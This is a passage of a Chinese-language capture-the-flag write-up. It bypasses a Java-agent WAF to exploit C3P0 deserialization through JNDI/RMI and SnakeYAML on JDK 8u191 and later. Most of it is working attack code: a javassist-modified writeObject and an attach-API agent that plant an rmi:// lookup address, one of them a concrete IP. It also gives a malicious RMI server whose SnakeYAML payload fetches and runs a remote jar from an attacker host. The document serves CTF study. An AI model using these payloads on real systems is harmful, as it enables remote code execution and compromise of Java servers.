下面我们看agent的主类agentmain逻辑
执行了两个函数,分别看
public static void simpleDemo0(String agentOps, final Instrumentation inst) throws Exception {
inst.addTransformer(new ClassFileTransformer() {
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if ("org/apache/tomcat/util/net/SocketBufferHandler".equals(className)) {
try {
AgentDemo.el(inst, loader);
} catch (Exception var7) {
var7.printStackTrace();
}
}
return null;
}
}, true);
}
对org/apache/tomcat/util/net/SocketBufferHandler
类进行hook,然后执行AgentDemo.el
方法
public static byte[] el(Instrumentation inst, ClassLoader loader) throws Exception {
Class<?> elProcessorClass = Class.forName("javax.el.ELProcessor", true, loader);
ClassPool classPool = new ClassPool(true);
classPool.insertClassPath(new ClassClassPath(elProcessorClass));
classPool.insertClassPath(new LoaderClassPath(elProcessorClass.getClassLoader()));
CtClass ctClass = classPool.get(elProcessorClass.getName());
CtMethod ctMethod = ctClass.getMethod("eval", "(Ljava/lang/String;)Ljava/lang/Object;");
ctMethod.insertBefore(String.format(" if (expression!=null){\n return null;\n }", AgentDemo.class.getName()));
inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(elProcessorClass, ctClass.toBytecode())});
ctClass.detach();
return ctClass.toBytecode();
}
主要逻辑是通过javassist修改javax.el.ELProcessor
类中的源码。当expression!=null
时,返回null
。因此我们无法通过C3P0链执行EL表达式了。另一个Demo函数也类似
public static byte[] c3p0(Instrumentation inst, ClassLoader loader) throws Exception {
Class<?> aClass = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized", true, loader);
ClassPool classPool1 = new ClassPool(true);
classPool1.insertClassPath(new ClassClassPath(aClass));
classPool1.insertClassPath(new LoaderClassPath(aClass.getClassLoader()));
CtClass ctClass1 = classPool1.get(aClass.getName());
CtMethod ctMethod1 = ctClass1.getMethod("getObject", "()Ljava/lang/Object;");
ctMethod1.insertBefore(String.format(" if (reference!=null){\n return null;\n }", AgentDemo.class.getName()));
inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(aClass, ctClass1.toBytecode())});
ctClass1.detach();
return ctClass1.toBytecode();
}
这里阻断了Reference
类,因此不论是URLClassLoader
加载任意类还是本地Reference都无法利用了。下面就剩下JNDI这条链子了。正常情况下C3P0打JNDI是需要有Fastjson或者Jackson漏洞依赖的,但题目并没有相应的漏洞环境。此外题目JDK环境是大于8u191的,还过滤了ldap协议,需要进行高版本绕过(简直Buff拉满)。
利用思路
首先题目能够反序列化一个任意类,在有C3P0依赖的情况下,URLClassLoader远程类加载这条链子是在反序列化PoolBackedDataSourceBase
类过程中触发的。但是题目设置有waf,因此不能直接进行远程类加载。
在分析这条链子时,我提到过其实这条链子的ReferenceSerialized#getObject
调用过Context.lookup()
,但默认contextName
为null,因此没法直接进行JNDI注入。
而之所以为空,是因为在序列化PoolBackedDataSourceBase
类时,没有给属性contextName
赋值
private void writeObject( ObjectOutputStream oos ) throws IOException
{
oos.writeShort( VERSION );
try
{
//test serialize
SerializableUtils.toByteArray(connectionPoolDataSource);
oos.writeObject( connectionPoolDataSource );
}
catch (NotSerializableException nse)
{
com.mchange.v2.log.MLog.getLogger( this.getClass() ).log(com.mchange.v2.log.MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", nse);
try
{
Indirector indirector = new com.mchange.v2.naming.ReferenceIndirector();
oos.writeObject( indirector.indirectForm( connectionPoolDataSource ) );
}
...
}
跟进ReferenceIndirector#indirectForm
不论是writeObject还是indirectForm,都没有给这几个属性赋值。那么我们如何实现在序列化时赋值给contextName
呢?作者提供了三种思路,其实这几种思路都比较相似,只是所使用的工具不同。
- 修改C3P0源码
- Agent技术修改
indirectForm
源码 - 直接修改序列化字节码
解决了JNDI注入,下面的问题就是RCE了。结合题目给出的依赖,很明显是JNDI结合SnakeYaml进行高版本绕过RCE。下面给出前两种方式的利用过程
修改C3P0字节码
想修改私有方法字节码,我们可以使用javassist技术。我们直接修改PoolBackedDataSourceBase#writeObject
的方法体
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.mchange.v2.naming.ReferenceIndirector;
import javassist.*;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class C3P0_NoURLClassLoader {
public static void Pool_Serial(ConnectionPoolDataSource c, CtClass ctClass ) throws NoSuchFieldException, IllegalAccessException, IOException, CannotCompileException, InstantiationException, NoSuchMethodException {
// 使用当前的ClassLoader加载被修改后的类
Class<PoolBackedDataSourceBase> newClass = ctClass.toClass();
PoolBackedDataSourceBase poolBackedDataSourceBase = newClass.newInstance();
//反射修改connectionPoolDataSource属性值
Class cls = poolBackedDataSourceBase.getClass();
Field field = cls.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(poolBackedDataSourceBase,c);
//序列化流写入文件
FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(poolBackedDataSourceBase);
}
//反序列化
public static ReferenceIndirector Pool_Deserial() throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(new File("exp.bin"));
ObjectInputStream objectInputStream = new ObjectInputStream(fis);
return (ReferenceIndirector) objectInputStream.readObject();
}
//字节码转Base64
public static String Base64_Encode(String filename) throws IOException {
File file = new File(filename);
FileInputStream inputStream=new FileInputStream(filename);
byte[] data = new byte[(int) file.length()];
inputStream.read(data);
return java.util.Base64.getEncoder().encodeToString(data);
}
public static void main(String[] args) throws ClassNotFoundException, NotFoundException, CannotCompileException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException, NoSuchMethodException {
ClassPool cp = ClassPool.getDefault();
CtClass poolbacked = cp.get("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
CtMethod ctMethod = poolbacked.getDeclaredMethod("writeObject");
//将构造函数修饰符设置为public,以便后续实例化
CtConstructor ctConstructor = poolbacked.getDeclaredConstructor(new CtClass[]{});
ctConstructor.setModifiers(Modifier.PUBLIC);
//修改writeObject方法体,给contextName赋值
ctMethod.setBody("\t{\n" +
"\t\t$1.writeShort( VERSION );\n" +
"\t\ttry\n" +
"\t\t{\n" +
"\t\t\t//test serialize\n" +
"\t\t\tcom.mchange.v2.ser.SerializableUtils.toByteArray(connectionPoolDataSource);\n" +
"\t\t\t$1.writeObject( connectionPoolDataSource );\n" +
"\t\t}\n" +
"\t\tcatch (java.io.NotSerializableException nse)\n" +
"\t\t{\n" +
"\t\t\tcom.mchange.v2.log.MLog.getLogger( this.getClass() ).log(com.mchange.v2.log.MLevel.FINE, \"Direct serialization provoked a NotSerializableException! Trying indirect.\", nse);\n" +
"\t\t\ttry\n" +
"\t\t\t{\n" +
"\t\t\t\tcom.mchange.v2.naming.ReferenceIndirector indirector = new com.mchange.v2.naming.ReferenceIndirector();\n" +
"\t\t\t\tjava.util.Properties properties = new java.util.Properties();\n" +
"\t\t\t\tjavax.naming.CompoundName compoundName = new javax.naming.CompoundName(\"rmi://vps:9999/calc\",properties);\n" +
"\t\t\t\tindirector.setNameContextName(compoundName);\n" +
"\t\t\t\t$1.writeObject( indirector.indirectForm( connectionPoolDataSource ) );\n" +
"\t\t\t}\n" +
"\t\t\tcatch (java.io.IOException indirectionIOException)\n" +
"\t\t\t{ throw indirectionIOException; }\n" +
"\t\t\tcatch (java.lang.Exception indirectionOtherException)\n" +
"\t\t\t{ throw new java.io.IOException(\"Problem indirectly serializing connectionPoolDataSource: \" + indirectionOtherException.toString() ); }\n" +
"\t\t}\n" +
"\t\t$1.writeObject( dataSourceName );\n" +
"\t\ttry\n" +
"\t\t{\n" +
"\t\t\t//test serialize\n" +
"\t\t\tcom.mchange.v2.ser.SerializableUtils.toByteArray(extensions);\n" +
"\t\t\t$1.writeObject( extensions );\n" +
"\t\t}\n" +
"\t\tcatch (java.io.NotSerializableException nse)\n" +
"\t\t{\n" +
"\t\t\tcom.mchange.v2.log.MLog.getLogger( this.getClass() ).log(com.mchange.v2.log.MLevel.FINE, \"Direct serialization provoked a NotSerializableException! Trying indirect.\", nse);\n" +
"\t\t\ttry\n" +
"\t\t\t{\n" +
"\t\t\t\tcom.mchange.v2.ser.Indirector indirector = new com.mchange.v2.naming.ReferenceIndirector();\n" +
"\t\t\t\t$1.writeObject( indirector.indirectForm( extensions ) );\n" +
"\t\t\t}\n" +
"\t\t\tcatch (java.io.IOException indirectionIOException)\n" +
"\t\t\t{ throw indirectionIOException; }\n" +
"\t\t\tcatch (java.lang.Exception indirectionOtherException)\n" +
"\t\t\t{ throw new java.io.IOException(\"Problem indirectly serializing extensions: \" + indirectionOtherException.toString() ); }\n" +
"\t\t}\n" +
"\t\t$1.writeObject( factoryClassLocation );\n" +
"\t\t$1.writeObject( identityToken );\n" +
"\t\t$1.writeInt(numHelperThreads);\n" +
"\t}");
NewPoolBacked newPoolBacked = new NewPoolBacked();
Pool_Serial(newPoolBacked,poolbacked);
System.out.println(Base64_Encode("exp.bin"));
ReferenceIndirector referenceIndirector = Pool_Deserial();
// System.out.println(referenceIndirector.getNameContextName());
}
public static class NewPoolBacked implements ConnectionPoolDataSource, Referenceable {
@Override
public Reference getReference() throws NamingException {
return null;
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
}
然后是恶意RMI服务器,ResourceRef内是snakeyaml的链子
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(9999);
ResourceRef ref = tomcat_snakeyaml();
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("calc", referenceWrapper);
System.out.println("Registry运行中...");
}
//Snake Yaml RCE利用
public static ResourceRef tomcat_snakeyaml(){
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://vps-ip:8888/exp.jar\"]\n" +
" ]]\n" +
"]";
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml));
return ref;
}
}
这里涉及到了Snake Yaml反序列化漏洞,感觉和Fastjson差不多,以后有时间再分析吧。这里先利用加载远程jar包RCE的Payload。其中jar包制作过程为artsploit/yaml-payload
然后在远程服务器上放置jar包,启动RMI服务器,成功执行。注意jar包所在环境的JDK版本最好和题目相同(8u212).
java -jar -Djava.rmi.server.hostname="vps-ip" RMI.jar
实际在进行利用的时候也碰到了各种各样的问题,如果没收到请求可以多换几个vps试试。
Agent技术修改indirectForm
源码
和上一种方法类似,只不过是使用Agent技术来修改indirectForm
的源码。不论是修改writeObject
函数还是indirectForm
,只要能合法地修改contextName
的属性值即可。先写一个agentmain-Agent
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import javassist.*;
import java.io.IOException;
import java.lang.instrument.ClassDefinition;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.util.List;
public class Agent {
public static void agentmain(String agentOps, Instrumentation inst) throws UnmodifiableClassException, ClassNotFoundException, NotFoundException, CannotCompileException, IOException {
//获取要hook的类
for (Class allLoadedClass : inst.getAllLoadedClasses()) {
// System.out.println(allLoadedClass);
if (allLoadedClass.getName().contains("C3P0_NoURLClassLoader_Agent")) {
//修改ReferenceIndirector#indirectForm方法体,给contextName赋值
Class<?> elProcessorClass = Class.forName("com.mchange.v2.naming.ReferenceIndirector");
ClassPool classPool = new ClassPool(true);
//添加额外的类加载路径和类加载器
classPool.insertClassPath(new ClassClassPath(elProcessorClass));
classPool.insertClassPath(new LoaderClassPath(elProcessorClass.getClassLoader()));
CtClass ctClass = classPool.get(elProcessorClass.getName());
CtMethod ctMethod = ctClass.getMethod("indirectForm", "(Ljava/lang/Object;)Lcom/mchange/v2/ser/IndirectlySerialized;");
ctMethod.insertBefore(String.format("java.util.Properties properties = new java.util.Properties();\n" +
" javax.naming.CompoundName compoundName = new javax.naming.CompoundName(\"rmi://82.156.215.191:9999/calc\",properties);" +
"contextName=compoundName;", Agent.class.getName()));
//重定义类,加载修改过的类
inst.redefineClasses(new ClassDefinition(elProcessorClass,ctClass.toBytecode()));
ctClass.detach();
}
}
}
public static void main(String[] args) throws Throwable{
//获取要hook的JVM
List<VirtualMachineDescriptor> vms = VirtualMachine.list();
String targetPid = null;
for (int i = 0; i < vms.size(); i++) {
VirtualMachineDescriptor vm = vms.get(i);
if (vm.displayName().contains("C3P0_NoURLClassLoader_Agent")) {
System.out.println(vm.displayName());
targetPid = vm.id();
System.out.println(targetPid);
}
}
VirtualMachine virtualMachine = VirtualMachine.attach(targetPid);
//加载Agent到目标JVM
virtualMachine.loadAgent("out/artifacts/Agent_jar/Agent.jar",null);
virtualMachine.detach();
}
}
MEAT-INF/MANIFEST.MF
如下,打包成Agent.jar
Manifest-Version: 1.0
Agent-Class: Agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true
下面是生成payload的脚本,先运行该脚本,再运行Agent.java进行hook
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.mchange.v2.naming.ReferenceIndirector;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class C3P0_NoURLClassLoader_Agent {
//序列化
public static void Pool_Serial(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException {
//反射修改connectionPoolDataSource属性值
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Class cls = poolBackedDataSourceBase.getClass();
Field field = cls.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(poolBackedDataSourceBase,c);
//序列化流写入文件
FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(poolBackedDataSourceBase);
}
//反序列化
public static ReferenceIndirector Pool_Deserial() throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(new File("exp.bin"));
ObjectInputStream objectInputStream = new ObjectInputStream(fis);
return (ReferenceIndirector) objectInputStream.readObject();
}
//字节码转Base64
public static String Base64_Encode(String filename) throws IOException {
File file = new File(filename);
FileInputStream inputStream=new FileInputStream(filename);
byte[] data = new byte[(int) file.length()];
inputStream.read(data);
return java.util.Base64.getEncoder().encodeToString(data);
}
public static void main(String[] args) throws InterruptedException, IOException, NoSuchFieldException, IllegalAccessException {
//方便agent
Thread.sleep(10000);
NewPollBacked2 newPollBacked2 = new NewPollBacked2();
Pool_Serial(newPollBacked2);
System.out.println(Base64_Encode("exp.bin"));
}
public static class NewPollBacked2 implements ConnectionPoolDataSource, Referenceable{
@Override
public Reference getReference() throws NamingException {
return null;
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
}